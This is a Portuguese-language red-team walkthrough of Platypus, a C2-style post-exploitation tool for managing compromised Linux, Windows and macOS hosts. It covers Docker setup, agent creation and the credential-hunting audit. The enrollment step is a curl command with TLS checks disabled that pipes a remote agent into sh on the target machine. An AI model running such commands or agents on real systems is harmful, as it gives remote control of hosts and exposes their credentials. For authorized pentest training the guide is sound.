NT-2026.10.02 DOSSIÊ RED TEAM
PLATYPUS: GESTÃO CENTRALIZADA DE HOSTS PARA PENTEST E RED TEAM
Walkthrough técnico do Platypus: instalação via Docker, criação de agentes, enrollment de hosts Linux/Windows/macOS, shell interativo, file browser, auditoria de segurança, plugins e gestão centralizada de máquinas comprometidas.

Introdução
Um dos desafios durante um pentest é manter tudo organizado. Uma avaliação pequena com apenas algumas máquinas costuma ser fácil de gerenciar, mas ambientes enterprise são uma história completamente diferente. Você pode facilmente acabar trabalhando com dezenas ou até centenas de sistemas Linux e Windows, cada um com diferentes serviços, usuários, aplicações e configurações.
Como pentesters, frequentemente gastamos muito tempo realizando verificações e auditorias de segurança, procurando configs, encontrando credenciais, tokens de acesso à nuvem e mais. Toda essa informação fica espalhada por muitos hosts diferentes e é fácil perder o controle do que já foi verificado e o que ainda precisa ser analisado. Gerenciar dezenas de sessões SSH ou reverse shells torna-se frustrante rapidamente.
Você pode usar o Platypus para resolver essa questão. É uma plataforma centralizada de gestão de hosts que torna muito mais fácil trabalhar com múltiplos sistemas a partir de uma interface única.
Importante: Todas as demonstrações neste artigo ocorrem em um ambiente de laboratório autorizado. Nunca execute estas técnicas contra sistemas sem autorização explícita por escrito.
O que é Platypus
O Platypus é uma plataforma open source de gestão de hosts construída para ajudar a gerenciar grandes números de máquinas Linux, Windows e macOS a partir de uma interface web. A plataforma funciona iniciando um agente em cada máquina que você deseja gerenciar. Uma vez iniciado, o agente conecta-se de volta ao seu servidor Platypus usando comunicações TLS criptografadas e Protocol Buffers (protobuf).
A partir da interface web você pode lançar shells interativos, examinar o sistema de arquivos, fazer upload e download de arquivos, executar auditorias de segurança e muito mais. Você pode instalar o Platypus em um VPS e gerenciar máquinas pela internet ou hospedá-lo inteiramente dentro de uma rede local.
Instalação via Docker
A forma mais fácil de instalar o Platypus é com Docker.
kali > git clone https://github.com/WangYihang/Platypus.git
kali > cd Platypus
Configuração do Servidor
Antes de iniciar os containers, há uma alteração importante de configuração a fazer.
Abra o docker-compose.yml com um editor de texto. Por padrão ele tem localhost. Como nossos agentes conectarão a partir de outros hosts, substitua localhost pelo endereço IP da máquina rodando o Platypus. Se estiver implantando em um VPS, substitua pelo IP público.
# Exemplo de alteração no docker-compose.yml
services:
platypus-server:
environment:
- PLATYPUS_SERVER_HOST=192.168.131.7 # Era: localhost
Docker Compose Up
Após salvar o arquivo, inicie a plataforma:
kali > docker-compose up -d
Após tudo finalizar, a interface web estará disponível. No nosso caso em https://192.168.131.7:9443. Esse é o mesmo endereço que você deve incluir no processo de setup ao acessar na web.
Setup Inicial e Bootstrap Secret
Durante a configuração inicial, o Platypus também pedirá para criar a primeira conta de administrador. Para prevenir acesso não autorizado, você precisará fornecer o Bootstrap Secret gerado durante a instalação:
kali > docker cp platypus-platypus-server-1:/app/data/bootstrap.secret .
kali > cat bootstrap.secret
Copie e cole o secret na interface web para completar o setup.
Trabalhando com GUI
Cada pentest pode ter seu próprio projeto. Você também pode organizar por departamento ou ambiente, prod e dev por exemplo.
Abra o projeto e role até a seção Open Hosts. É aqui que todas as máquinas enrolladas aparecerão. O próximo passo é gerar um agente para deploy nos seus sistemas alvo.
A plataforma suporta Linux, Windows e macOS.
Criando Agentes
Quando você cria um agente, pode escolher o que incluir baseado nas suas necessidades. Selecionamos o pacote Full, já que ele possui a maior coleção de features e plugins.
Uma vez configurado o agente, o Platypus gera um link de instalação único que você pode executar na máquina alvo.
Mantenha em mente que ele não se instala permanentemente como software de gestão tradicional. O agente roda como um processo após ser lançado. Por padrão, cada URL de instalação contém um token de enrollment único válido para uma única instalação, o que ajuda a prevenir reuso não autorizado se o link vazar.
Enrollment de Agente
Para lançar o agente na máquina alvo, use Tmux para que o processo continue rodando mesmo se sua sessão SSH cair.
ubuntu > curl -fsSL --tlsv1.2 -k https://192.168.131.7:9443/api/v1/install/dl_7dm5amwjjirrqv35biem.ib3sxs64fug543w32oxe?download_tls=insecure | sh > /dev/null
Após alguns momentos, assumindo que a máquina consiga alcançar seu servidor Platypus, o novo host aparecerá no dashboard com informações básicas do sistema.
Trabalhando com Hosts – Shell Interativo
Uma das primeiras features que você usará é o shell interativo. Como escolhemos o pacote Full, o shell estava incluído por padrão.
O shell interativo permite executar comandos diretamente no host remoto a partir da interface web, mantendo a sessão ativa mesmo se a conexão original cair.
File Browser
Outra feature útil é o file browser. Ele permite navegar pelo sistema de arquivos do host enrollado, visualizar, fazer download e upload de arquivos, tudo a partir da interface web centralizada.
Auditoria de Segurança
O Platypus escaneia o sistema de arquivos procurando configs valiosas e informações sensíveis. Todos os sistemas são diferentes, mas isso pode incluir:
- Credenciais de banco de dados
- API keys
- SSH keys
- Cloud configs
- E muito mais
A auditoria automatizada economiza tempo significativo na fase de pós-exploração, centralizando findings que de outra forma estariam espalhados por múltiplas sessões.
Security Checks
A plataforma também inclui várias verificações de segurança. Estas não são feitas para substituir uma avaliação de segurança completa, mas são úteis como verificações rápidas durante o engagement.
As verificações cobrem configurações comuns de hardening, permissões de arquivos sensíveis, serviços expostos desnecessariamente, entre outros.
Plugins
Plugins coletam informações sobre regras de firewall, logs do journald, cron jobs agendados, conexões de rede ativas e muitas outras partes do OS.
Plugins disponíveis incluem:
- Firewall rules
- Journald logs
- Scheduled cron jobs
- Active network connections
- E muitos outros
Cada plugin fornece visibilidade em uma faceta diferente do sistema, permitindo enumerar rapidamente a superfície de ataque e configurações de cada host gerenciado.
Conclusão
Gerenciar grandes números de máquinas durante um pentest pode rapidamente tornar-se avassalador. Informações valiosas terminam espalhadas por múltiplos hosts, então leva tempo para rastrear seus findings. O Platypus mantém todos seus sistemas juntos e reduz muito do trabalho repetitivo na pós-exploração.
Se você tem interesse em red teaming e quer construir as habilidades necessárias para ser um pentester, o a fonte oferece seu programa de treinamento [Red Team Operator](https://a fonte.thinkific.com/courses/red-team-operator-part-I?ref=6e359f).
Ferramenta ≠ Técnica ≠ Ameaça. O Platypus implementa capacidades de T1021 (Remote Services), T1059 (Command and Scripting Interpreter), T1083 (File and Directory Discovery), T1518 (Software Discovery); a ameaça real é o operador que sabe navegar as restrições do ambiente. A defesa eficaz foca na cadeia operacional, não na ferramenta.
